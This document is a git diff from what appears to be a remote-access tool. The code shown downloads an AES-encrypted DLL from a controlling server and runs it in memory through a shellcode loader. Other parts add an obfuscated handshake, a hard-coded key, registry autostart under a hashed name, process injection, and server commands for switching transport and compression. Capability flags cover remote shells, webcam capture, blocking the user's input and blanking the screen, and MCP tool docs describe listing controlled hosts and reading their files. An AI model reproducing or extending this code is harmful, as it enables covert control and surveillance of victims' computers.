|
||||
}
|
||||
unsigned char* ptr = buffer + sizeof(PkgHeader);
|
||||
struct AES_ctx ctx; // AES Decode
|
||||
AES_init_ctx_iv(&ctx, get_aes_key(), (BYTE*)command + 16);
|
||||
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
|
||||
int size = 0;
|
||||
BYTE cmd = ptr[0], type = ptr[1];
|
||||
memcpy(&size, ptr + 2, sizeof(int));
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
|
||||
#include <time.h>
|
||||
#include <string>
|
||||
#include "common/iniFile.h"
|
||||
|
||||
namespace StartGate {
|
||||
|
||||
constexpr const char* kValueName = "retry_after";
|
||||
constexpr int kDefaultDelaySec = 60 * 60;
|
||||
|
||||
inline std::string ConfigPath(bool isAuthKernel)
|
||||
{
|
||||
return isAuthKernel ? std::string(YAMA_PATH) : CLIENT_PATH;
|
||||
}
|
||||
inline const char* ConfigSection(bool isAuthKernel)
|
||||
{
|
||||
return isAuthKernel ? "auth" : "settings";
|
||||
}
|
||||
inline int Get(config& cfg, const char* section)
|
||||
{
|
||||
return cfg.GetInt(section, kValueName, 0);
|
||||
}
|
||||
inline void Set(config& cfg, const char* section, int unixTime)
|
||||
{
|
||||
cfg.SetInt(section, kValueName, unixTime > 0 ? unixTime : 0);
|
||||
}
|
||||
inline void Delay(config& cfg, const char* section, int delaySec)
|
||||
{
|
||||
Set(cfg, section, (int)time(NULL) + delaySec);
|
||||
}
|
||||
inline bool AllowStartNow(config& cfg, const char* section)
|
||||
{
|
||||
const int t = Get(cfg, section);
|
||||
return t <= 0 || (int)time(NULL) >= t;
|
||||
}
|
||||
|
||||
}
|
||||
+42
-1
@@ -7,6 +7,7 @@
|
||||
#include "common/dllRunner.h"
|
||||
#include <common/md5.h>
|
||||
#include <common/iniFile.h>
|
||||
#include <common/aes_key.h>
|
||||
#include "auto_start.h"
|
||||
#include "Common.h"
|
||||
// A shell code loader connect to 127.0.0.1:6543.
|
||||
@@ -19,6 +20,10 @@ extern "C" {
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
#ifndef MAX_CONNECT_FAILS
|
||||
#define MAX_CONNECT_FAILS 3
|
||||
#endif
|
||||
|
||||
// 自动启动注册表中的值
|
||||
#define REG_NAME GetExeHashStr().c_str()
|
||||
|
||||
@@ -74,11 +79,36 @@ typedef struct PkgHeader {
|
||||
{
|
||||
memset(flag, 0, sizeof(flag));
|
||||
memcpy(flag, "Hello?", 6);
|
||||
flag[7] = 1;
|
||||
originLen = size;
|
||||
totalLen = sizeof(PkgHeader) + size;
|
||||
}
|
||||
} PkgHeader;
|
||||
|
||||
static void gen_aes_bytes(BYTE* out) {
|
||||
for (int i = 0; i < 16; i++) {
|
||||
out[i] = (BYTE)(rand() & 0xFF);
|
||||
}
|
||||
}
|
||||
|
||||
static uint16_t pseudo_random(int index) {
|
||||
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
|
||||
}
|
||||
|
||||
static void encrypt(unsigned char* data, int len) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
|
||||
}
|
||||
for (int round = 0; round < 2; ++round) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
int j = pseudo_random(i + round * 100) % len;
|
||||
unsigned char tmp = data[i];
|
||||
data[i] = data[j];
|
||||
data[j] = tmp;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
typedef int (*DllCallback)(BYTE* dll, int size);
|
||||
|
||||
// Memory DLL runner.
|
||||
@@ -125,13 +155,14 @@ public:
|
||||
char* buffer = new char[bufSize];
|
||||
bool isFirstConnect = true;
|
||||
int requestCount = 0;
|
||||
int connectFailCount = 0;
|
||||
binFile bin(CLIENT_PATH);
|
||||
iniFile ini(CLIENT_PATH);
|
||||
auto hash = ini.GetStr("settings", "version", "");
|
||||
|
||||
do {
|
||||
if (!isFirstConnect)
|
||||
Sleep(!IsDebug ? rand() % 30 * 1000 : 5000);
|
||||
Sleep((!IsDebug && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 30 * 1000 : 5000);
|
||||
|
||||
isFirstConnect = false;
|
||||
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
@@ -150,18 +181,23 @@ public:
|
||||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||
closesocket(clientSocket);
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
if (++connectFailCount >= MAX_CONNECT_FAILS && !hash.empty())
|
||||
break;
|
||||
continue;
|
||||
}
|
||||
connectFailCount = 0;
|
||||
#ifdef _DEBUG
|
||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
|
||||
#else
|
||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
|
||||
#endif
|
||||
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
|
||||
gen_aes_bytes((BYTE*)command + 16); // AES IV
|
||||
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
|
||||
char req[sizeof(PkgHeader) + sizeof(command)] = {};
|
||||
memcpy(req, &PkgHeader(sizeof(command)), sizeof(PkgHeader));
|
||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
|
||||
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||
if (bytesSent != sizeof(req)) {
|
||||
closesocket(clientSocket);
|
||||
@@ -198,6 +234,9 @@ public:
|
||||
continue;
|
||||
}
|
||||
char* ptr = buffer + sizeof(PkgHeader);
|
||||
struct AES_ctx ctx; // AES Decode
|
||||
AES_init_ctx_iv(&ctx, get_aes_key(), (BYTE*)command + 16);
|
||||
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
|
||||
BYTE cmd = ptr[0], type = ptr[1];
|
||||
size = 0;
|
||||
memcpy(&size, ptr + 2, sizeof(int));
|
||||
@@ -298,6 +337,7 @@ int InjectShellcode(BYTE* buf, int len) {
|
||||
if (status == 1)
|
||||
ExitProcess(0);
|
||||
} while (pid);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// @brief 首先读取settings.ini配置文件,获取IP和端口.
|
||||
@@ -307,6 +347,7 @@ int InjectShellcode(BYTE* buf, int len) {
|
||||
// 如果配置文件不存在就从命令行中获取IP和端口.
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
srand((unsigned int)time(NULL));
|
||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
||||
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
|
||||
if (!runCmd) {
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
// AES Key: DO NOT CHANGE IT.
|
||||
inline const uint8_t* get_aes_key() {
|
||||
static const uint8_t g_AES_key[16] = {
|
||||
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D,
|
||||
0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
|
||||
};
|
||||
return g_AES_key;
|
||||
}
|
||||
+16
-1
@@ -152,6 +152,8 @@ inline int isValid_10s()
|
||||
#define CLIENT_CAP_TERMINAL 0x8000 // 主连接处理 COMMAND_SHELL(PTY 终端子连接:exec_command / terminal_*;Linux 一直支持但不声明,新版 Android 与 macOS 声明)
|
||||
#define CLIENT_CAP_PRIVACY_OVERLAY 0x10000 // 屏幕子连接处理 COMMAND_SCREEN_BLOCK_INPUT / COMMAND_SCREEN_BLANK(Android 用无障碍全屏 overlay 实现;Windows 一直支持锁定键鼠但不声明这个位)
|
||||
#define CLIENT_CAP_PROCESS 0x20000 // 主连接处理 COMMAND_SYSTEM(系统子连接:COMMAND_PSLIST / COMMAND_KILLPROCESS;Linux/macOS 声明,Windows 一直支持但不声明)
|
||||
#define CLIENT_CAP_COMPRESS_SWITCH 0x40000 // 支持服务端远程切换线缆压缩(COMMAND_SET_COMPRESS,仅 Windows)
|
||||
#define CLIENT_CAP_PROTO_SWITCH_EXP 0x80000 // 支持切到实验传输 UDP/KCP(COMMAND_SET_PROTO 携带 PROTO_UDP/KCP,仅新版 Windows)
|
||||
|
||||
// TOKEN_WEBCAM_DIB 帧头里的 fccHandler(第 3~6 字节):Android 客户端直接发 JPEG,
|
||||
// 服务端识别这个 FOURCC 后用 turbojpeg 解码,不依赖系统安装 VFW 编解码器。
|
||||
@@ -385,6 +387,13 @@ enum {
|
||||
COMMAND_MCP_WINDOW_INFO = 179,
|
||||
TOKEN_MCP_WINDOW_INFO = 180,
|
||||
|
||||
// 线缆压缩切换(服务端 → 客户端):载荷 [cmd:1]["zlib"|"zstd"]。
|
||||
// 客户端写入自己配置的 settings\compress 后断开当前连接,原地切换本连接的压缩模式,
|
||||
// 由 StartClient 重连循环用新模式建链;服务端按首包自动识别算法,无需额外握手。
|
||||
// 不置 S_CLIENT_UPDATE,以免进程内测试客户端退出。只有声明 CLIENT_CAP_COMPRESS_SWITCH
|
||||
// 的 Windows 客户端认识;老客户端走 default 静默丢弃。
|
||||
COMMAND_SET_COMPRESS = 181,
|
||||
|
||||
TOKEN_DECRYPT = 199,
|
||||
TOKEN_REGEDIT = 200, // 注册表
|
||||
COMMAND_REG_FIND, // 注册表 管理标识
|
||||
@@ -436,7 +445,9 @@ enum {
|
||||
// 信任锚时附带——客户端写入后重建 TLS 上下文,随后按新入口重连即走 WSS。
|
||||
#pragma pack(push, 1)
|
||||
struct ProtoSwitchPacket {
|
||||
uint8_t proto; // PROTO_TCP / PROTO_WS / PROTO_WSS
|
||||
uint8_t proto; // PROTO_TCP / PROTO_WS / PROTO_WSS / PROTO_UDP / PROTO_KCP
|
||||
// UDP/KCP 是实验协议:host=主控地址、port=该传输的监听端口
|
||||
//(ghost/UDPOption 平行列表里对应位),不需要反代入口。
|
||||
char host[100]; // 反向代理域名(SNI / Host 头),空 = 还原
|
||||
char port[8]; // 反向代理端口,空 = 还原
|
||||
uint32_t certLen; // 随后附带的信任锚 PEM 字节数(0 = 不下发)
|
||||
@@ -1335,6 +1346,10 @@ typedef struct LOGIN_INFOR {
|
||||
caps |= CLIENT_CAP_C2C_PATHS;
|
||||
// 协议切换(COMMAND_SET_PROTO)只有 Windows 客户端实现了命令处理与入口持久化。
|
||||
caps |= CLIENT_CAP_PROTO_SWITCH;
|
||||
// 实验传输切换(UDP/KCP):同一条命令,新增接受 PROTO_UDP/PROTO_KCP。
|
||||
caps |= CLIENT_CAP_PROTO_SWITCH_EXP;
|
||||
// 线缆压缩切换(COMMAND_SET_COMPRESS):Windows 客户端同时携带 zlib/zstd。
|
||||
caps |= CLIENT_CAP_COMPRESS_SWITCH;
|
||||
// 多显示器远程控制:抓整个虚拟桌面,截图与注入共用同一坐标系。
|
||||
caps |= CLIENT_CAP_VIRTUAL_DESKTOP;
|
||||
// 窗口信息 RPC(矩形/z 序/前后台)与窗口激活。
|
||||
|
||||
+2
-4
@@ -4,6 +4,7 @@
|
||||
extern "C" {
|
||||
#include "aes.h"
|
||||
}
|
||||
#include "aes_key.h"
|
||||
|
||||
#define ALIGN16(n) ( (( (n) + 15) / 16) * 16 )
|
||||
|
||||
@@ -121,10 +122,7 @@ public:
|
||||
if (param[6] == 0 && param[7] == 0) return;
|
||||
if (param[7] == 1) {
|
||||
#ifndef NO_AES
|
||||
static const unsigned char aes_key[16] = {
|
||||
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
|
||||
};
|
||||
return aes_encrypt(data, len, aes_key, param + 8);
|
||||
return aes_encrypt(data, len, get_aes_key(), param + 8);
|
||||
#endif
|
||||
}
|
||||
encrypt_internal(data, len, param[6], param[7]);
|
||||
|
||||
+18
-1
@@ -1,7 +1,21 @@
|
||||
// V2 License Public Key
|
||||
// Generated: 2026-03-05 00:48:25
|
||||
#pragma once
|
||||
|
||||
const BYTE g_LicensePublicKey[64] = {
|
||||
// License public key of this build. DO NOT CHANGE IT.
|
||||
//
|
||||
// The array is const, so it is emitted into a read-only section: any attempt to
|
||||
// overwrite it at run time faults instead of silently succeeding, and every
|
||||
// reader in the process sees exactly the same bytes.
|
||||
//
|
||||
// `extern` + __declspec(selectany) give it one shared definition across
|
||||
// translation units -- the linker merges the per-TU copies into a single
|
||||
// COMDAT -- and extern "C" keeps the symbol name unmangled for callers
|
||||
// outside C++.
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
extern __declspec(selectany) const BYTE g_LicensePublicKey[64] = {
|
||||
0xa9, 0x5d, 0x1d, 0x44, 0x35, 0x86, 0x85, 0xdd,
|
||||
0xbe, 0x27, 0x26, 0x6d, 0xe7, 0x33, 0x27, 0xf8,
|
||||
0xbe, 0x2d, 0x87, 0xdd, 0xc1, 0x47, 0x18, 0xbf,
|
||||
@@ -11,3 +25,6 @@ const BYTE g_LicensePublicKey[64] = {
|
||||
0x86, 0x64, 0x85, 0xe1, 0xf3, 0xa3, 0x18, 0x95,
|
||||
0x5d, 0xd6, 0x3f, 0x2f, 0x55, 0x0b, 0x76, 0xbd
|
||||
};
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
+10
-1
@@ -499,6 +499,10 @@ typedef uLong FAR uLongf;
|
||||
|
||||
#if defined(_LFS64_LARGEFILE) && _LFS64_LARGEFILE-0
|
||||
# define Z_LFS64
|
||||
#elif defined(_WIN32) && !defined(__CYGWIN__) && !defined(__BORLANDC__) && \
|
||||
!defined(UNDER_CE) && (defined(__MINGW32__) || !defined(__GNUC__))
|
||||
# define Z_LFS64 /* native Windows has 64-bit file offsets */
|
||||
# define Z_WINLFS
|
||||
#endif
|
||||
|
||||
#if defined(_LARGEFILE64_SOURCE) && defined(Z_LFS64)
|
||||
@@ -516,7 +520,7 @@ typedef uLong FAR uLongf;
|
||||
#endif
|
||||
|
||||
#ifndef z_off_t
|
||||
# define z_off_t long long
|
||||
# define z_off_t long
|
||||
#endif
|
||||
|
||||
#if !defined(_WIN32) && defined(Z_LARGE64)
|
||||
@@ -531,6 +535,11 @@ typedef uLong FAR uLongf;
|
||||
# define z_off64_t z_off_t
|
||||
#endif
|
||||
|
||||
#if defined(Z_WINLFS) && defined(Z_WANT64) && !defined(Z_SOLO)
|
||||
# undef z_off_t
|
||||
# define z_off_t z_off64_t
|
||||
#endif
|
||||
|
||||
/* MVS linker does not support external names larger than 8 bytes */
|
||||
#if defined(__MVS__)
|
||||
#pragma map(deflateInit_,"DEIN")
|
||||
|
||||
+44
-33
@@ -1,5 +1,5 @@
|
||||
/* zlib.h -- interface of the 'zlib' general purpose compression library
|
||||
version 1.3.2, February 17th, 2026
|
||||
version 1.4, November 4th, 2026
|
||||
|
||||
Copyright (C) 1995-2026 Jean-loup Gailly and Mark Adler
|
||||
|
||||
@@ -41,11 +41,11 @@
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define ZLIB_VERSION "1.3.2"
|
||||
#define ZLIB_VERNUM 0x1320
|
||||
#define ZLIB_VERSION "1.4"
|
||||
#define ZLIB_VERNUM 0x1400
|
||||
#define ZLIB_VER_MAJOR 1
|
||||
#define ZLIB_VER_MINOR 3
|
||||
#define ZLIB_VER_REVISION 2
|
||||
#define ZLIB_VER_MINOR 4
|
||||
#define ZLIB_VER_REVISION 0
|
||||
#define ZLIB_VER_SUBREVISION 0
|
||||
|
||||
/*
|
||||
@@ -696,7 +696,9 @@ ZEXTERN int ZEXPORT deflateCopy(z_streamp dest,
|
||||
deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
|
||||
(such as zalloc being Z_NULL). msg is left unchanged in both source and
|
||||
destination.
|
||||
destination. If deflateCopy fails and dest is not Z_NULL, then dest->state
|
||||
is set to Z_NULL with dest otherwise unchanged, so that deflateEnd(dest) can
|
||||
be called safely, though dest is not a usable stream.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT deflateReset(z_streamp strm);
|
||||
@@ -769,17 +771,17 @@ ZEXTERN uLong ZEXPORT deflateBound(z_streamp strm, uLong sourceLen);
|
||||
ZEXTERN z_size_t ZEXPORT deflateBound_z(z_streamp strm, z_size_t sourceLen);
|
||||
/*
|
||||
deflateBound() returns an upper bound on the compressed size after
|
||||
deflation of sourceLen bytes. It must be called after deflateInit() or
|
||||
deflateInit2(), and after deflateSetHeader(), if used. This would be used
|
||||
to allocate an output buffer for deflation in a single pass, and so would be
|
||||
called before deflate(). If that first deflate() call is provided the
|
||||
sourceLen input bytes, an output buffer allocated to the size returned by
|
||||
deflateBound(), and the flush value Z_FINISH, then deflate() is guaranteed
|
||||
to return Z_STREAM_END. Note that it is possible for the compressed size to
|
||||
be larger than the value returned by deflateBound() if flush options other
|
||||
than Z_FINISH or Z_NO_FLUSH are used.
|
||||
deflation of sourceLen bytes. It must be called after deflateInit() or
|
||||
deflateInit2(), and after deflateSetHeader() or deflateSetDictionary(), if
|
||||
used. This would be used to allocate an output buffer for deflation in a
|
||||
single pass, and so would be called before deflate(). If that first
|
||||
deflate() call is provided the sourceLen input bytes, an output buffer
|
||||
allocated to the size returned by deflateBound(), and the flush value
|
||||
Z_FINISH, then deflate() is guaranteed to return Z_STREAM_END. Note that it
|
||||
is possible for the compressed size to be larger than the value returned by
|
||||
deflateBound() if flush options other than Z_FINISH or Z_NO_FLUSH are used.
|
||||
|
||||
delfateBound_z() is the same, but takes and returns a size_t length. Note
|
||||
deflateBound_z() is the same, but takes and returns a size_t length. Note
|
||||
that a long is 32 bits on Windows.
|
||||
*/
|
||||
|
||||
@@ -789,7 +791,7 @@ ZEXTERN int ZEXPORT deflatePending(z_streamp strm,
|
||||
/*
|
||||
deflatePending() returns the number of bytes and bits of output that have
|
||||
been generated, but not yet provided in the available output. The bytes not
|
||||
provided would be due to the available output space having being consumed.
|
||||
provided would be due to the available output space having been consumed.
|
||||
The number of bits of output not provided are between 0 and 7, where they
|
||||
await more bits to join them in order to fill out a full byte. If pending
|
||||
or bits are Z_NULL, then those values are not set.
|
||||
@@ -869,8 +871,7 @@ ZEXTERN int ZEXPORT inflateInit2(z_streamp strm,
|
||||
instead. windowBits must be greater than or equal to the windowBits value
|
||||
provided to deflateInit2() while compressing, or it must be equal to 15 if
|
||||
deflateInit2() was not used. If a compressed stream with a larger window
|
||||
size is given as input, inflate() will return with the error code
|
||||
Z_DATA_ERROR instead of trying to allocate a larger window.
|
||||
size is given as input, inflate() may return with a Z_DATA_ERROR.
|
||||
|
||||
windowBits can also be zero to request that inflate use the window size in
|
||||
the zlib header of the compressed stream.
|
||||
@@ -980,7 +981,9 @@ ZEXTERN int ZEXPORT inflateCopy(z_streamp dest,
|
||||
inflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
|
||||
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
|
||||
(such as zalloc being Z_NULL). msg is left unchanged in both source and
|
||||
destination.
|
||||
destination. If inflateCopy fails and dest is not Z_NULL, then dest->state
|
||||
is set to Z_NULL with dest otherwise unchanged, so that inflateEnd(dest) can
|
||||
be called safely, though dest is not a usable stream.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT inflateReset(z_streamp strm);
|
||||
@@ -1095,9 +1098,10 @@ ZEXTERN int ZEXPORT inflateGetHeader(z_streamp strm,
|
||||
a terminating zero. If any of extra, name, or comment are not present in
|
||||
the header, then that field's pointer is set to Z_NULL. This allows the use
|
||||
of deflateSetHeader() with the returned structure to duplicate the header.
|
||||
Note that if those fields initially pointed to allocated memory, then the
|
||||
application will need to save them elsewhere so that they can be eventually
|
||||
freed.
|
||||
Though take care that none of the fields were truncated before so using it,
|
||||
lest havoc ensue. Note that if those fields initially pointed to allocated
|
||||
memory, then the application will need to save them elsewhere so that they
|
||||
can be eventually freed.
|
||||
|
||||
If inflateGetHeader is not used, then the header information is simply
|
||||
discarded. The header is always checked for validity, including the header
|
||||
@@ -1394,8 +1398,8 @@ ZEXTERN gzFile ZEXPORT gzopen(const char *path, const char *mode);
|
||||
errno can be checked to determine if the reason gzopen failed was that the
|
||||
file could not be opened. Note that if 'N' is in mode for non-blocking, the
|
||||
open() itself can fail in order to not block. In that case gzopen() will
|
||||
return NULL and errno will be EAGAIN or ENONBLOCK. The call to gzopen() can
|
||||
then be re-tried. If the application would like to block on opening the
|
||||
return NULL and errno will be EAGAIN or EWOULDBLOCK. The call to gzopen()
|
||||
can then be re-tried. If the application would like to block on opening the
|
||||
file, then it can use open() without O_NONBLOCK, and then gzdopen() with the
|
||||
resulting file descriptor and 'N' in the mode, which will set it to non-
|
||||
blocking.
|
||||
@@ -1501,9 +1505,12 @@ ZEXTERN z_size_t ZEXPORT gzfread(voidp buf, z_size_t size, z_size_t nitems,
|
||||
gzfread() returns the number of full items read of size size, or zero if
|
||||
the end of the file was reached and a full item could not be read, or if
|
||||
there was an error. gzerror() must be consulted if zero is returned in
|
||||
order to determine if there was an error. If the multiplication of size and
|
||||
nitems overflows, i.e. the product does not fit in a z_size_t, then nothing
|
||||
is read, zero is returned, and the error state is set to Z_STREAM_ERROR.
|
||||
order to determine if there was an error. If some data was read before an
|
||||
error, then that data is returned until exhausted, after which the next call
|
||||
will return zero and gzerror() will report the error. If the multiplication
|
||||
of size and nitems overflows, i.e. the product does not fit in a z_size_t,
|
||||
then nothing is read, zero is returned, and the error state is set to
|
||||
Z_STREAM_ERROR.
|
||||
|
||||
In the event that the end of file is reached and only a partial item is
|
||||
available at the end, i.e. the remaining uncompressed data length is not a
|
||||
@@ -1569,7 +1576,7 @@ ZEXTERN int ZEXPORTVA gzprintf();
|
||||
these possibilities can be determined using zlibCompileFlags().
|
||||
|
||||
If a Z_BUF_ERROR is returned, then nothing was written due to a stall on
|
||||
the non-blocking write destination.
|
||||
the non-blocking write destination. The operation can be retried.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzputs(gzFile file, const char *s);
|
||||
@@ -1677,7 +1684,9 @@ ZEXTERN z_off_t ZEXPORT gzseek(gzFile file,
|
||||
gzseek returns the resulting offset location as measured in bytes from
|
||||
the beginning of the uncompressed stream, or -1 in case of error, in
|
||||
particular if the file is opened for writing and the new starting position
|
||||
would be before the current position.
|
||||
would be before the current position, or if the resulting position would
|
||||
not be representable in the offset type. If gzseek returns -1, the stream
|
||||
position is unchanged.
|
||||
*/
|
||||
|
||||
ZEXTERN int ZEXPORT gzrewind(gzFile file);
|
||||
@@ -1778,7 +1787,8 @@ ZEXTERN const char * ZEXPORT gzerror(gzFile file, int *errnum);
|
||||
If errnum is not NULL, *errnum is set to zlib error number. If an error
|
||||
occurred in the file system and not in the compression library, *errnum is
|
||||
set to Z_ERRNO and the application may consult errno to get the exact error
|
||||
code.
|
||||
code. The error is reported by gzerror() as soon as it is detected, which
|
||||
may be before all of the data read prior to the error has been returned.
|
||||
|
||||
The application must not modify the returned string. Future calls to
|
||||
this function may invalidate the previously returned string. If file is
|
||||
@@ -1972,7 +1982,8 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */
|
||||
* change the regular functions to 64 bits if _FILE_OFFSET_BITS is 64 (if
|
||||
* both are true, the application gets the *64 functions, and the regular
|
||||
* functions are changed to 64 bits) -- in case these are set on systems
|
||||
* without large file support, _LFS64_LARGEFILE must also be true
|
||||
* without large file support, _LFS64_LARGEFILE must also be true, except on
|
||||
* native Windows, where 64-bit offsets are always available
|
||||
*/
|
||||
#ifdef Z_LARGE64
|
||||
ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *);
|
||||
@@ -2029,7 +2040,7 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */
|
||||
|
||||
#endif /* !Z_SOLO */
|
||||
|
||||
/* undocumented functions */
|
||||
/* undocumented functions (not part of the zlib API) */
|
||||
ZEXTERN const char * ZEXPORT zError(int);
|
||||
ZEXTERN int ZEXPORT inflateSyncPoint(z_streamp);
|
||||
ZEXTERN const z_crc_t FAR * ZEXPORT get_crc_table(void);
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -141,14 +141,17 @@
|
||||
{ "hosts": [ /* ... */ ], "total": 7, "totalAll": 9, "limit": 100, "offset": 0, "hasMore": false }
|
||||
```
|
||||
|
||||
`client_type/group/ip/os` 为大小写不敏感子串过滤;`name` 只匹配计算机名,`query` 同时匹配
|
||||
`client_type/group/ip/os` 为大小写不敏感子串过滤;`name` 匹配计算机名与备注,`query` 匹配
|
||||
计算机名、备注与 IP;`online=true`(默认)只列在线,`false` 只列历史中存在但当前离线的;
|
||||
`include_offline=true` 时再合并 `devicehistory.Store.Offline(online)`。`total` 是过滤后命中数,
|
||||
`totalAll` 是过滤前总数,`hasMore` 表示同一条件下还有下一页。
|
||||
`totalAll` 是过滤前总数,`hasMore` 表示同一条件下还有下一页。`group` 过滤作用于 Web 控制台
|
||||
覆盖后的分组(`device_groups.json`,见下文 `hosts[]`)。
|
||||
|
||||
`hosts[]` 的字段按 `outputSchema`:`id/name/group/version/clientType/os/ip/rtt/activeWindow/
|
||||
screen/online/last_seen`,以及 hub 或历史记录里确有的 `location/install_time`;两个服务端都
|
||||
没有 `authStatus/tls/remark`,不输出。离线历史条目不存 `clientType`,也没有 `rtt/activeWindow`。
|
||||
screen/online/last_seen`,以及 hub 或历史记录里确有的 `location/install_time`,和 Go 版
|
||||
Web 控制台设置过的 `remark`(`device_notes.json`,未设置时省略)。`group` 以 Web 控制台的
|
||||
覆盖值优先(`device_groups.json`),没有覆盖时才用主机上报/历史记录里的分组;两个服务端都
|
||||
没有 `authStatus/tls`,不输出。离线历史条目不存 `clientType`,也没有 `rtt/activeWindow`。
|
||||
|
||||
#### `get_host_detail`
|
||||
|
||||
@@ -255,7 +258,7 @@ M5 之前传任一参数都返回 `-32005` 并在 message 里点名。细节见
|
||||
|
||||
| 工具 | 汇总行之后 |
|
||||
|---|---|
|
||||
| `list_hosts` | 表头 `id name ip group os online clientType last_seen`,随后每台一行 |
|
||||
| `list_hosts` | 表头 `id name remark ip group os online clientType last_seen`,随后每台一行 |
|
||||
| `get_host_detail` | 单台:主机 JSON(compact);批量:`id ok detail`,成功行是主机 JSON,失败行是错误信息 |
|
||||
| `list_files` | 盘符 `drive typeName fileSystem totalMB freeMB`;目录 `name isDir size mtime` |
|
||||
| `get_audit_log` | `time type msg`,`msg` 是去掉信封字段后的 compact JSON |
|
||||
|
||||
@@ -97,7 +97,7 @@
|
||||
| `list_files` 的 `id/ids/path/limit/offset` | 全部实现;`offset` 是服务端在完整列表上做窗口裁剪;批量走 results 汇总 |
|
||||
| `read_file` 的语义 | **行语义**:`offset` 起始行(负数=末尾 N 行)、`limit` 行数、`max_bytes` 字节上限;`encoding` 支持 `auto/utf-8/gbk/gb18030/latin1` |
|
||||
| 输出字段 | `list_hosts` → `hosts/total/totalAll/limit/offset/hasMore`;`list_files` → `files`(不是 `entries`)/`drives`;`get_host_detail.capabilities` → `screenPreview/screenRegion/windowInfo/fileTransferV2/c2cPaths/registry/remoteControl/platform`;`read_file` → `encoding/eol/lines_total/lines_returned/sha256/size/text/truncated` |
|
||||
| hub 没有的字段 | `authStatus/tls/location/install_time/remark` 不伪造、直接不给(`outputSchema` 只强制 `hosts`) |
|
||||
| hub 没有的字段 | `authStatus/tls/location/install_time` 不伪造、直接不给(`outputSchema` 只强制 `hosts`);`remark` 来自 Web 控制台备注表(`DeviceNotes`),有则填、无则省略 |
|
||||
|
||||
`read_file` 的整文件下载仍受 `YAMA_MCP_READ_MAX`(2 MiB)硬门约束,超过 → `-32602`(schema 描述同款口径)。
|
||||
|
||||
@@ -197,7 +197,8 @@ curl -s -X POST localhost:18090/mcp -H "Authorization: Bearer $YAMA_MCP_TOKEN" \
|
||||
决定是否并入历史;`online/ip/os/group/name/client_type/query` 全为过滤(`name`/`query`
|
||||
大小写不敏感子串);按 `outputSchema` 返回 `{hosts,total,totalAll,limit,offset,hasMore}`,
|
||||
host 字段按 schema 命名组装,hub/历史里确有的 `location/install_time/screen/version` 照填,
|
||||
两边都没有的 `authStatus/tls/remark` 不伪造。
|
||||
两边都没有的 `authStatus/tls` 不伪造;`remark` 来自 Web 控制台备注表(`DeviceNotes`,
|
||||
有则填、无则省略),沿用 `name`/`query` 的过滤口径。
|
||||
- `get_host_detail`:`id` 或 `ids`(≤50,批量走 `{tool,total,succeeded,failed,skipped,results[]}`);
|
||||
`capabilities{screenPreview,screenRegion,windowInfo,fileTransferV2,c2cPaths,registry,remoteControl,platform}`
|
||||
(`protocol.SupportsCap` 逐位)——**不含 `v2`**(恒真,列出来误导)。
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -641,8 +641,10 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
// 内嵌资源支持 en_US 和 zh_TW,无需外部文件
|
||||
auto lang = THIS_CFG.GetStr("settings", "Language", "en_US");
|
||||
auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang");
|
||||
langDir = langDir.empty() ? "./lang" : langDir;
|
||||
// 缺省(未配置)时用 ./lang;显式清空(LangDir=)表示不启用外部语言包目录。
|
||||
g_Lang.Init(langDir.c_str()); // 初始化目录(用于磁盘补丁文件)
|
||||
if (langDir.empty())
|
